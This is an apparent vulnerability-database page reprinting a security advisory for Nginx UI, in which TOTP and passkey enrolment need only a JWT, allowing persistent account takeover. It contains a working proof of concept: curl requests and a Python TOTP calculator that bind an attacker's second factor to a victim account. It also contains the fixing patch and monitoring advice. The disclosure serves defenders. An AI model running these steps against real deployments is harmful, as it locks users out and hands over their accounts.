Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeoverGHSA-gfrc-g87h-7h5w

HIGHFix: 0xJacky/nginx-ui@23d1934

GHSA-gfrc-g87h-7h5w is a high-severity (CVSS 8.8) Improper Authentication vulnerability in Nginx-UI. A fix is available for Nginx-UI — see the affected versions and patch details below.

Also known asCVE-2026-84313GO-2026-6786
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gfrc-g87h-7h5w.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs36th percentile — riskier than 36% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-gfrc-g87h-7h5w by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹Nginx-UI

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Endpoints that bind a TOTP secret (POST /api/otp_enroll) or register a WebAuthn passkey (POST /api/finish_passkey_register) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.

Details

api/user/router.go:34-39 — note the routes registered before the secure-session group:

r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP)                     // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration)  // ← outside RequireSecureSession

o := r.Group("", middleware.RequireSecureSession())
{
    o.GET("/otp_reset", ResetOTP)                     // reset *is* protected — inconsistent
    ...
}

EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):

if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
    Secret   string `json:"secret"   binding:"required"`
    Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.

Proof of Concept

JWT="<victim_jwt>"

# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
 "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}

# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084

# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
       -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
       http://127.0.0.1:18080/api/otp_enroll

HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
 "last_viewed":1778338236}

# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
 "recovery_codes_generated":true,"recovery_codes_viewed":true}

Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.

The passkey variant follows the same pattern: GET /api/begin_passkey_register then POST /api/finish_passkey_register with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.

Impact

  • Persistent account takeover surviving the victim's password reset.
  • Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.

Patches

api/user/router.go — move enrolment routes inside the secure-session group:

-    r.POST("/otp_enroll", EnrollTOTP)
-    r.GET("/begin_passkey_register", BeginPasskeyRegistration)
-    r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
     o := r.Group("", middleware.RequireSecureSession())
     {
+        o.POST("/otp_enroll", EnrollTOTP)
+        o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+        o.POST("/finish_passkey_register", FinishPasskeyRegistration)
         o.GET("/otp_reset", ResetOTP)
         ...
     }

This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/current_user.go).

Workarounds

None reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.

Credits

Vishal Shukla (@shukla304) and Sechub.dev AI Agent.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹GoNginx-UIall versions1.9.10-0.20260703131214-23d1934099b0go get Nginx-UI@v1.9.10-0.20260703131214-23d1934099b0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Nginx-UI, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update Nginx-UI to 1.9.10-0.20260703131214-23d1934099b0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gfrc-g87h-7h5w is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

## Summary Endpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out. ## Details `api/user/router.go:34-39` — note the routes registered *before* the secure-session group: ``
O3 Security · Impact-Aware SCA

Is GHSA-gfrc-g87h-7h5w in your dependencies?

Find it across Go, including transitive dependencies.

Nginx UI: TOTP / passkey enrolment requires no…